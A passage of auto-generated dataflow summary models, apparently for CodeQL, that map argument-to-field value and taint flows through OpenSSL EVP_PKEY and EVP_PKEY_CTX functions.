"EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_scrypt_salt", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set1_tls1_prf_secret", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_app_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_cb", "(EVP_PKEY_CTX *,EVP_PKEY_gen_cb *)", "", "Argument[1]", "Argument[*0].Field[*pkey_gencb]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_data", "(EVP_PKEY_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_kdf_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_nid", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_paramgen_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dh_rfc5114", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dhx_rfc5114", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_dsa_paramgen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ec_param_enc", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ec_paramgen_curve_nid", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_ecdh_kdf_type", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_hkdf_mode", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_mac_key", "(EVP_PKEY_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_params", "(EVP_PKEY_CTX *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_keygen_pubexp", "(EVP_PKEY_CTX *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*rsa_pubexp]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_oaep_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_padding", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_rsa_pss_saltlen", "(EVP_PKEY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_N", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_N", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_maxmem_bytes", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_maxmem_bytes", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_p", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_p", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_r", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_scrypt_r", "(EVP_PKEY_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_signature_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_signature_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_signature_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_signature_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_tls1_prf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_tls1_prf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_tls1_prf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_CTX_set_tls1_prf_md", "(EVP_PKEY_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_add1_attr", "(EVP_PKEY *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_copy", "(EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_copy", "(EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_copy", "(EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_get0_info", "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)", "", "Argument[*5]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**pem_str]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**info]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey_base_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*pkey_flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**pem_str]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_new", "(int,int,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**info]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_check", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_ctrl", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_free", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_free]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_get_priv_key", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_priv_key]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_get_pub_key", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_pub_key]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_item", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*item_verify]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_item", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*item_sign]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*param_decode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*param_encode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*param_missing]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[4]", "Argument[*0].Field[*param_copy]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "Argument[*0].Field[*param_cmp]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "Argument[*0].Field[*param_print]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_param_check", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_param_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_private", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*priv_decode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_private", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*priv_encode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_private", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*priv_print]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pub_decode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*pub_encode]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*pub_cmp]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[4]", "Argument[*0].Field[*pub_print]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "Argument[*0].Field[*pkey_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public", "(EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "Argument[*0].Field[*pkey_bits]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_public_check", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_public_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_security_bits", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pkey_security_bits]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_set_priv_key", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*set_priv_key]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_set_pub_key", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*set_pub_key]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_asn1_set_siginf", "(EVP_PKEY_ASN1_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*siginf_set]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[**2]", "Argument[*0].Field[*pkey].Union[***legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[*pkey].Union[**legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[2]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_assign", "(EVP_PKEY *,int,void *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_copy_parameters", "(EVP_PKEY *,const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_copy_parameters", "(EVP_PKEY *,const EVP_PKEY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_decrypt", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_delete_attr", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[**attributes].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_delete_attr", "(EVP_PKEY *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_delete_attr", "(EVP_PKEY *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_derive", "(EVP_PKEY_CTX *,unsigned char *,size_t *)", "", 